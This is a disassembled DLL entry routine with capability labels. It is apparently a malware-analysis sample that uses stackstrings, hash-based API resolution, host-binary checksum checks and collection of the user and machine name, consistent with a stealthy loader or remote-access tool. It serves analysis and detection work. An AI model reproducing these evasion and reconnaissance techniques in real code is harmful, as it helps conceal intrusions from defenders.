Function at 0x10005140
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Get common file path
Get hostname
Get session information
Get session user name
Parse pe header
Resolve function by parsing pe exports
Set current directory
Terminate process

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x37c
push ebx
push ebp
push esi
xor esi, esi
sub eax, esi
push edi
je 0x10006154
dec eax
jne 0x10006353
mov eax, dword [esp + 0x390]
push eax
mov dword [0x100121b0], eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0x20a
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10007d60
push 0x105
push eax
mov dword [0x1001205c], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x100051a1
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x1001205c]
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
push eax
call ebx
lea ecx, [esp + 0x128]
xor eax, eax
push ecx
mov dword [esp + 0x12c], 0x65006b
mov dword [esp + 0x130], 0x6e0072
mov dword [esp + 0x134], 0x6c0065
mov dword [esp + 0x138], 0x320033
mov word [esp + 0x13c], ax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esp + 0xdc], eax
cmp eax, esi
jne 0x10005205
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0xff000000
push 2
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0x341508dc
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], 0x10012130
mov dword [esp + 0x44], 0xc0c1bd8d
mov dword [esp + 0x48], esi
mov dword [esp + 0x4c], esi
mov dword [esp + 0x50], 0x1001215c
call fcn.1000b5b0
mov ecx, dword [0x10012130]
add esp, 0x10
push 0x20a
push 8
mov dword [0x10012064], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10007d60
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
push eax
push esi
mov dword [0x1001206c], eax
call edi
mov edx, dword [0x1001206c]
mov ebp, dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push edx
mov dword [0x10012090], eax
call ebp
push 0x20a
push 8
mov dword [0x10012184], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10007d60
push 0x104
push eax
mov dword [0x1001219c], eax
mov eax, dword [0x100121b0]
push eax
call edi
push 0x20a
push 8
mov dword [0x10012150], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10007d60
mov ecx, dword [0x1001219c]
push ecx
push eax
mov dword [0x10012120], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [0x10012120]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov eax, dword [0x10012120]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov ecx, dword [0x10012120]
push ecx
call ebx
mov eax, dword [0x1001206c]
mov edx, dword [0x1001219c]
mov dword [0x10012040], eax
mov eax, dword [0x10012120]
push eax
mov dword [0x100121e0], edx
mov dword [0x10012104], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [0x10012040]
push 1
push esi
push ecx
mov dword [0x100120a4], eax
call fcn.1000d3e0
mov dword [0x100120f0], eax
mov dword [esp + 0x108], 0x74006e
push esi
lea edx, [esp + 0x10c]
push esi
push edx
mov dword [esp + 0x118], 0x6c0064
mov dword [esp + 0x11c], 0x6c
call fcn.10002400
add esp, 0x18
cmp eax, esi
jne 0x10005387
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0xff000000
push 1
lea ecx, [esp + 0x18]
push ecx
push eax
mov dword [esp + 0x20], 0x8c210360
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], 0x100121a0
call fcn.1000b5b0
mov edx, dword [0x1001219c]
add esp, 0x10
push edx
call ebp
mov ebp, dword [sym.imp.USER32.dll_wsprintfW]
push eax
mov eax, dword [0x1001205c]
push eax
lea ecx, [esp + 0x188]
push 0x1000e3f8
push ecx
call ebp
add esp, 0x10
lea edx, [esp + 0x180]
push edx
call dword [0x10012064]
mov dword [0x1001259c], eax
cmp eax, esi
jne 0x100053fa
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x100121b0]
push eax
call fcn.10004300
add esp, 4
push 0x11c
push 0x10012480
call sub.NTDLL.dll_RtlZeroMemory
lea ecx, [esp + 0xec]
push ecx
lea edx, [esp + 0xec]
push edx
lea eax, [esp + 0xec]
push eax
mov dword [0x10012480], 0x11c
mov dword [esp + 0xf0], esi
mov dword [esp + 0xf4], esi
mov dword [esp + 0xf8], esi
call sub.NTDLL.dll_RtlGetNtVersionNumbers
movzx eax, word [esp + 0xec]
mov ecx, dword [esp + 0xe4]
mov edx, dword [esp + 0xe8]
mov dword [0x10012484], ecx
mov dword [0x10012488], edx
mov dword [0x1001248c], eax
call fcn.100027d0
mov ecx, dword [0x100120f0]
mov edx, 0x5a4d
mov dword [0x10012214], eax
cmp word [ecx], dx
jne 0x10006353
mov edx, dword [ecx + 0x3c]
cmp dword [edx + ecx], 0x4550
jne 0x10006353
mov edx, dword [edx + ecx + 0x58]
cmp edx, 0x13df7ca
jne 0x100054c0
mov dword [0x100120d8], 1
jmp 0x100054d2
cmp edx, 0x3b75f
jne 0x100054d2
mov dword [0x100120d8], 3
push eax
call fcn.10006e80
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 4
push 0xc8
push 8
mov dword [0x100120b0], eax
call edi
push eax
call fcn.10007d60
mov dword [0x10012114], eax
cmp eax, esi
jne 0x10005505
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
mov word [esp + 0x17c], cx
mov ecx, dword [0x100120b0]
push 0x5c
push ecx
push str._s_c
push eax
mov dword [esp + 0x160], 0x4f0053
mov dword [esp + 0x164], 0x540046
mov dword [esp + 0x168], 0x410057
mov dword [esp + 0x16c], 0x450052
mov dword [esp + 0x170], 0x55005c
mov dword [esp + 0x174], 0x6f0073
mov dword [esp + 0x178], 0x690072
mov dword [esp + 0x17c], 0x5c0073
mov dword [esp + 0x180], 0x610042
mov dword [esp + 0x184], 0x6b0063
mov dword [esp + 0x188], 0x700075
call ebp
mov ecx, dword [0x10012114]
lea edx, [esp + 0x160]
push edx
lea edx, [ecx + eax*2]
push 0x1000e8d0
push edx
mov dword [0x100121e4], eax
call ebp
mov eax, dword [0x10012114]
mov ecx, dword [0x100121e4]
add esp, 0x1c
lea edx, [eax + ecx*2]
mov ecx, dword [0x10012214]
lea eax, [esp + 0xe0]
push eax
push 0x10012080
push 5
push ecx
push esi
mov dword [0x10012054], edx
mov dword [esp + 0xf4], esi
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x10005636
push 0x20a
push 8
call edi
push eax
call fcn.10007d60
mov dword [0x10012080], eax
cmp eax, esi
je 0x10005640
lea edx, [esp + 0xe0]
push edx
push eax
mov dword [esp + 0xe8], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x10005640
mov ecx, dword [0x10012080]
mov word [ecx], ax
jmp 0x10005640
mov dword [0x1001243c], 1
mov eax, dword [0x10012214]
lea edx, [esp + 0xd8]
push edx
push 0x100121f4
push 7
push eax
push esi
mov dword [esp + 0xec], esi
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x100056aa
push 0x20a
push 8
call edi
push eax
call fcn.10007d60
mov dword [0x100121f4], eax
cmp eax, esi
je 0x100056b4
lea ecx, [esp + 0xd8]
push ecx
push eax
push 3
mov dword [esp + 0xe4], 0x104
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
jne 0x100056b4
mov eax, dword [0x100121f4]
xor edx, edx
mov word [eax], dx
jmp 0x100056b4
mov dword [0x10012204], 1
call fcn.1000cde0
mov dword [0x10012148], eax
call fcn.10009e80
mov dword [0x100120d0], eax
call fcn.10009460
mov dword [0x10012070], eax
mov dword [0x10012088], 0x1000e708
cmp dword [0x100120d8], esi
je 0x10006353
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [esp + 0xd4]
push ecx
push eax
mov dword [esp + 0xdc], esi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, eax
cmp ebx, esi
je 0x1000579f
mov edx, dword [ebx]
push edx
call dword [sym.imp.USER32.dll_CharLowerW]
mov edx, dword [esp + 0xd4]
cmp edx, 1
jle 0x10005798
mov edi, 1
lea eax, [edx - 1]
cmp edi, eax
jge 0x10005758
mov eax, dword [ebx + edi*4]
cmp word [eax], 0x77
jne 0x10005758
cmp word [eax + 2], si
jne 0x10005758
mov ecx, dword [ebx + edi*4 + 4]
inc edi
push ecx
call dword [sym.imp.SHLWAPI.dll_StrToIntW]
mov edx, dword [esp + 0xd4]
mov dword [0x100120f4], eax
jmp 0x10005793
mov eax, dword [ebx + edi*4]
movzx ecx, word [eax]
cmp ecx, 0x6b
jne 0x10005775
cmp word [eax + 2], si
jne 0x10005775
mov dword [0x10012440], 1
jmp 0x10005793
cmp dword [0x100120d8], 3
jne 0x10005793
cmp ecx, 0x66
jne 0x10005793
cmp word [eax + 2], si
jne 0x10005793
mov dword [0x10012434], 1
inc edi
cmp edi, edx
jl 0x10005728
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [0x100120f4], esi
jle 0x100057c6
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ecx]
push 0x3e8
call edi
mov eax, dword [0x100120f4]
dec eax
mov dword [0x100120f4], eax
cmp eax, esi
jg 0x100057b0
push 0x208
push 8
mov edi, 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10007d60
mov dword [0x100121b4], eax
cmp eax, esi
je 0x100058bd
mov edx, dword [0x10012488]
mov ecx, dword [0x10012484]
push edx
push ecx
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0x6f004d
mov dword [esp + 0x38], 0x69007a
mov dword [esp + 0x3c], 0x6c006c
mov dword [esp + 0x40], 0x2f0061
mov dword [esp + 0x44], 0x2e0035
mov dword [esp + 0x48], 0x200030
mov dword [esp + 0x4c], 0x570028
mov dword [esp + 0x50], 0x6e0069
mov dword [esp + 0x54], 0x6f0064
mov dword [esp + 0x58], 0x730077
mov dword [esp + 0x5c], 0x4e0020
mov dword [esp + 0x60], 0x200054
mov dword [esp + 0x64], 0x750025
mov dword [esp + 0x68], 0x25002e
mov dword [esp + 0x6c], 0x290075
mov dword [esp + 0x70], 0x460020
mov dword [esp + 0x74], 0x720069
mov dword [esp + 0x78], 0x660065
mov dword [esp + 0x7c], 0x78006f
mov dword [esp + 0x80], 0x37002f
mov dword [esp + 0x84], 0x2e0038
mov dword [esp + 0x88], 0x30
call ebp
add esp, 0x10
cmp dword [0x100120d8], edi
jne 0x1000590b
mov edx, dword [0x100120b0]
mov eax, dword [0x10012080]
mov ecx, dword [0x100121f4]
push edx
push 0x10012480
mov dword [0x10012190], eax
mov dword [0x100120b8], ecx
call fcn.10004260
xor edx, edx
mov ecx, closesocket
div ecx
push edi
mov dword [0x10012174], edx
mov edx, dword [0x10012120]
push edx
call fcn.10007b80
add esp, 0x10
call fcn.100048b0
test eax, eax
je 0x1000591b
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x100120d8], edi
mov dword [0x100125ec], edi
mov edi, dword [esp + 0xdc]
mov ebx, 0x1000c780
mov ebp, 0x100120bc
jne 0x10005e56
push 0x631143df
push 1
lea eax, [esp + 0x2c]
push eax
push edi
mov dword [esp + 0x34], 0x4d4177d4
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], 0x10012218
call fcn.1000b5b0
add esp, 0x10
call fcn.1000bba0
push eax
call fcn.1000bb70
push 0x631143df
push 0xb
lea ecx, [esp + 0x30]
push ecx
push edi
mov dword [0x10012164], eax
mov dword [esp + 0x38], 0xbcceb12b
mov dword [esp + 0x3c], 0x10008690
mov dword [esp + 0x40], 0x10012188
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], 0x5e2e2340
mov dword [esp + 0x4c], 0x10007240
mov dword [esp + 0x50], 0x100120ac
mov dword [esp + 0x54], esi
mov dword [esp + 0x58], 0x9f7a012e
mov dword [esp + 0x5c], 0x10004e10
mov dword [esp + 0x60], 0x10012200
mov dword [esp + 0x64], esi
mov dword [esp + 0x68], 0xa2e2fba9
mov dword [esp + 0x6c], 0x1000b5a0
mov dword [esp + 0x70], 0x10012158
mov dword [esp + 0x74], esi
mov dword [esp + 0x78], 0xa7a5ea92
mov dword [esp + 0x7c], 0x10006e20
mov dword [esp + 0x80], 0x10012074
mov dword [esp + 0x84], esi
mov dword [esp + 0x88], 0xc2feaaf6
mov dword [esp + 0x8c], 0x1000a8d0
mov dword [esp + 0x90], 0x100121e8
mov dword [esp + 0x94], esi
mov dword [esp + 0x98], 0xf6353ee6
mov dword [esp + 0x9c], 0x10003850
mov dword [esp + 0xa0], 0x1001218c
mov dword [esp + 0xa4], esi
mov dword [esp + 0xa8], 0x3f942f98
mov dword [esp + 0xac], 0x100037d0
mov dword [esp + 0xb0], 0x10012078
mov dword [esp + 0xb4], esi
mov dword [esp + 0xb8], 0xaddfba77
mov dword [esp + 0xbc], 0x1000c400
mov dword [esp + 0xc0], 0x10012160
mov dword [esp + 0xc4], esi
mov dword [esp + 0xc8], 0xbaa3474b
mov dword [esp + 0xcc], ebx
mov dword [esp + 0xd0], ebp
mov dword [esp + 0xd4], esi
mov dword [esp + 0xd8], 0x16884023
mov dword [esp + 0xdc], 0x10007490
mov dword [esp + 0xe0], 0x1001213c
mov dword [esp + 0xe4], esi
call fcn.10009900
push esi
lea eax, [esp + 0x130]
xor edx, edx
push 0x100120f8
push eax
mov dword [esp + 0x138], 0x730075
mov dword [esp + 0x13c], 0x720065
mov dword [esp + 0x140], 0x320033
mov word [esp + 0x144], dx
call fcn.10002400
add esp, 0x20
mov dword [0x1001204c], eax
cmp eax, esi
je 0x10005c71
push 0x631143df
push 8
lea ecx, [esp + 0x2c]
push ecx
push eax
mov dword [esp + 0x34], 0xa5126c5b
mov dword [esp + 0x38], 0x10002840
mov dword [esp + 0x3c], 0x10012084
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0xb624fee8
mov dword [esp + 0x48], 0x10007470
mov dword [esp + 0x4c], 0x10012144
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], 0x288d34a4
mov dword [esp + 0x58], 0x10009550
mov dword [esp + 0x5c], 0x100121a4
mov dword [esp + 0x60], esi
mov dword [esp + 0x64], 0x343c1e51
mov dword [esp + 0x68], 0x1000be10
mov dword [esp + 0x6c], 0x10012060
mov dword [esp + 0x70], esi
mov dword [esp + 0x74], 0xc0e8ab00
mov dword [esp + 0x78], 0x10009d60
mov dword [esp + 0x7c], 0x100120cc
mov dword [esp + 0x80], esi
mov dword [esp + 0x84], 0xc442ac10
mov dword [esp + 0x88], 0x10004930
mov dword [esp + 0x8c], 0x10012098
mov dword [esp + 0x90], esi
mov dword [esp + 0x94], 0xa2578f57
mov dword [esp + 0x98], 0x10008040
mov dword [esp + 0x9c], 0x10012178
mov dword [esp + 0xa0], esi
mov dword [esp + 0xa4], 0xf184d6f6
mov dword [esp + 0xa8], 0x10002470
mov dword [esp + 0xac], 0x10012058
mov dword [esp + 0xb0], esi
call fcn.10009900
add esp, 0x10
push esi
lea ecx, [esp + 0x14]
push 0x10012044
push ecx
mov dword [esp + 0x1c], 0x680073
mov dword [esp + 0x20], 0x6c0065
mov dword [esp + 0x24], 0x33006c
mov dword [esp + 0x28], 0x32
call fcn.10002400
add esp, 0xc
mov dword [0x100121a8], eax
cmp eax, esi
je 0x10005d16
push 0x631143df
push 3
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0xc7ee492e
mov dword [esp + 0x38], 0x1000b590
mov dword [esp + 0x3c], 0x100121d4
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x5c981f54
mov dword [esp + 0x48], 0x100023c0
mov dword [esp + 0x4c], 0x10012050
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], 0xa47468e0
mov dword [esp + 0x58], 0x1000bc30
mov dword [esp + 0x5c], 0x100125d8
mov dword [esp + 0x60], esi
call fcn.10009900
add esp, 0x10
push esi
lea ecx, [esp + 0x10c]
xor eax, eax
push 0x10012094
push ecx
mov dword [esp + 0x114], 0x730077
mov dword [esp + 0x118], 0x5f0032
mov dword [esp + 0x11c], 0x320033
mov word [esp + 0x120], ax
call fcn.10002400
add esp, 0xc
mov dword [0x1001208c], eax
cmp eax, esi
je 0x10005dc9
push 0x631143df
push 3
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0x25ddb08c
mov dword [esp + 0x38], 0x1000ad20
mov dword [esp + 0x3c], 0x100120c8
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x99d55537
mov dword [esp + 0x48], 0x10007a30
mov dword [esp + 0x4c], 0x100125dc
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], 0x17debac0
mov dword [esp + 0x58], 0x10006c90
mov dword [esp + 0x5c], 0x1001212c
mov dword [esp + 0x60], esi
call fcn.10009900
add esp, 0x10
push esi
lea eax, [esp + 0xf4]
push 0x100121c8
push eax
mov dword [esp + 0xfc], 0x690077
mov dword [esp + 0x100], 0x6d006e
mov dword [esp + 0x104], 0x6d
call fcn.10002400
add esp, 0xc
mov dword [0x100121c0], eax
cmp eax, esi
je 0x10005e56
push 0x631143df
push 2
lea ecx, [esp + 0x2c]
push ecx
push eax
mov dword [esp + 0x34], 0x9d27ac39
mov dword [esp + 0x38], 0x1000bc60
mov dword [esp + 0x3c], 0x10012138
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x5789c82b
mov dword [esp + 0x48], 0x100096e0
mov dword [esp + 0x4c], 0x100121c4
mov dword [esp + 0x50], esi
call fcn.10009900
add esp, 0x10
push esi
lea edx, [esp + 0x140]
xor ecx, ecx
push 0x1001211c
push edx
mov dword [esp + 0x148], 0x640061
mov dword [esp + 0x14c], 0x610076
mov dword [esp + 0x150], 0x690070
mov dword [esp + 0x154], 0x320033
mov word [esp + 0x158], cx
call fcn.10002400
add esp, 0xc
mov dword [0x10012168], eax
cmp eax, esi
je 0x10006054
cmp dword [0x100120d8], 1
jne 0x10006027
push 0x631143df
push 0xa
lea ecx, [esp + 0x2c]
push ecx
push eax
mov dword [esp + 0x34], 0xc3109516
mov dword [esp + 0x38], 0x100074c0
mov dword [esp + 0x3c], 0x10012108
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x56ff8c5d
mov dword [esp + 0x48], 0x1000b310
mov dword [esp + 0x4c], 0x1001220c
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], 0xd41bd247
mov dword [esp + 0x58], 0x100070b0
mov dword [esp + 0x5c], 0x1001207c
mov dword [esp + 0x60], esi
mov dword [esp + 0x64], 0x4e422a93
mov dword [esp + 0x68], 0x10009ce0
mov dword [esp + 0x6c], 0x100120c4
mov dword [esp + 0x70], esi
mov dword [esp + 0x74], 0x7b817146
mov dword [esp + 0x78], 0x10004e70
mov dword [esp + 0x7c], 0x10012124
mov dword [esp + 0x80], esi
mov dword [esp + 0x84], 0x842db31e
mov dword [esp + 0x88], 0x10007930
mov dword [esp + 0x8c], 0x10012224
mov dword [esp + 0x90], esi
mov dword [esp + 0x94], 0xdd30a549
mov dword [esp + 0x98], 0x1000ab00
mov dword [esp + 0x9c], 0x10012210
mov dword [esp + 0xa0], esi
mov dword [esp + 0xa4], 0x85b69c83
mov dword [esp + 0xa8], 0x1000c340
mov dword [esp + 0xac], 0x10012110
mov dword [esp + 0xb0], esi
mov dword [esp + 0xb4], 0xf1bdc0d7
mov dword [esp + 0xb8], 0x100088f0
mov dword [esp + 0xbc], 0x1001221c
mov dword [esp + 0xc0], esi
mov dword [esp + 0xc4], 0x59797a4f
mov dword [esp + 0xc8], 0x10009e20
mov dword [esp + 0xcc], 0x10012208
mov dword [esp + 0xd0], esi
call fcn.10009900
jmp 0x10006051
push 0xff000000
push 1
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0xc5683990
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], 0x10012208
call fcn.1000b5b0
add esp, 0x10
cmp dword [0x100120d8], 1
jne 0x100060c7
push esi
lea eax, [esp + 0x14]
xor edx, edx
push 0x10012430
push eax
mov dword [esp + 0x1c], 0x690077
mov dword [esp + 0x20], 0x74006e
mov dword [esp + 0x24], 0x750072
mov dword [esp + 0x28], 0x740073
mov word [esp + 0x2c], dx
call fcn.10002400
add esp, 0xc
mov dword [0x100121ac], eax
cmp eax, esi
je 0x100060f0
push 0x631143df
push 1
lea ecx, [esp + 0x2c]
push ecx
mov dword [esp + 0x30], 0xc7f3ad14
mov dword [esp + 0x34], 0x10004680
mov dword [esp + 0x38], 0x10012438
push eax
jmp 0x100060e4
push 0x631143df
push 1
lea edx, [esp + 0x2c]
push edx
mov dword [esp + 0x30], 0xbaa3474b
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebp
push edi
mov dword [esp + 0x40], esi
call fcn.10009900
add esp, 0x10
push esi
call fcn.100049d0
test eax, eax
je 0x10006101
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x100120d8], 1
mov dword [0x100125ec], 2
jne 0x10006353
mov eax, dword [0x10012054]
push esi
push 0x100121d8
push esi
xor ecx, ecx
cmp dword [0x10012148], esi
push 0xf013f
push esi
setne cl
push esi
push esi
push eax
add ecx, 0x80000001
push ecx
call dword [0x10012108]
test eax, eax
je 0x10006353
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x1001205c]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
cmp eax, esi
je 0x1000616d
push eax
push esi
call ebx
push eax
call fcn.100049f0
mov eax, dword [0x10012120]
cmp eax, esi
je 0x10006180
push eax
push esi
call ebx
push eax
call fcn.100049f0
mov eax, dword [0x1001219c]
cmp eax, esi
je 0x10006193
push eax
push esi
call ebx
push eax
call fcn.100049f0
mov eax, dword [0x1001206c]
cmp eax, esi
je 0x100061a6
push eax
push esi
call ebx
push eax
call fcn.100049f0
mov eax, dword [0x1001259c]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp eax, esi
je 0x100061b8
push eax
call edi
mov eax, dword [0x100120b0]
cmp eax, esi
je 0x100061c8
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [0x10012114]
cmp eax, esi
je 0x100061db
push eax
push esi
call ebx
push eax
call fcn.100049f0
mov eax, dword [0x10012080]
cmp eax, esi
je 0x100061fd
push eax
cmp dword [0x1001243c], esi
je 0x100061f4
call sub.WTSAPI32.dll_WTSFreeMemory
jmp 0x100061fd
push esi
call ebx
push eax
call fcn.100049f0
mov eax, dword [0x100121f4]
cmp eax, esi
je 0x1000621f
push eax
cmp dword [0x10012204], esi
je 0x10006216
call sub.WTSAPI32.dll_WTSFreeMemory
jmp 0x1000621f
push esi
call ebx
push eax
call fcn.100049f0
cmp dword [0x100120d8], esi
je 0x10006353
cmp dword [0x100125ec], 2
jne 0x1000623a
push esi
call fcn.10006c80
cmp dword [0x100125ec], esi
jle 0x10006247
call fcn.10009c60
mov eax, dword [0x1001204c]
cmp eax, esi
je 0x1000625b
cmp dword [0x100120f8], esi
je 0x1000625b
push eax
call edi
mov eax, dword [0x100121a8]
cmp eax, esi
je 0x1000626f
cmp dword [0x10012044], esi
je 0x1000626f
push eax
call edi
mov eax, dword [0x10012168]
cmp eax, esi
je 0x10006283
cmp dword [0x1001211c], esi
je 0x10006283
push eax
call edi
mov eax, dword [0x100121ac]
cmp eax, esi
je 0x10006297
cmp dword [0x10012430], esi
je 0x10006297
push eax
call edi
mov eax, dword [0x1001208c]
cmp eax, esi
je 0x100062ab
cmp dword [0x10012094], esi
je 0x100062ab
push eax
call edi
mov eax, dword [0x100121c0]
cmp eax, esi
je 0x100062bf
cmp dword [0x100121c8], esi
je 0x100062bf
push eax
call edi
mov eax, dword [0x1001242c]
cmp eax, esi
je 0x100062d3
cmp dword [0x100121ec], esi
je 0x100062d3
push eax
call edi
mov eax, dword [0x100121d8]
cmp eax, esi
je 0x100062e3
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x100120a8]
cmp eax, esi
je 0x100062f3
push eax
call dword [0x10012154]
mov eax, dword [0x100121b4]
cmp eax, esi
je 0x10006306
push eax
push esi
call ebx
push eax
call fcn.100049f0
mov eax, dword [0x10012170]
cmp eax, esi
je 0x10006319
push eax
push esi
call ebx
push eax
call fcn.100049f0
mov edi, 0x100125c8
mov edi, edi
mov eax, dword [edi]
cmp eax, esi
je 0x1000632c
push eax
call sub.NTDLL.dll_NtClose
add edi, 4
cmp edi, 0x100125d4
jl 0x10006320
mov eax, dword [0x100120fc]
cmp eax, esi
je 0x10006353
push esi
push eax
call sub.NTDLL.dll_NtTerminateThread
mov edx, dword [0x100120fc]
push edx
call sub.NTDLL.dll_NtClose
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x37c
ret 0xc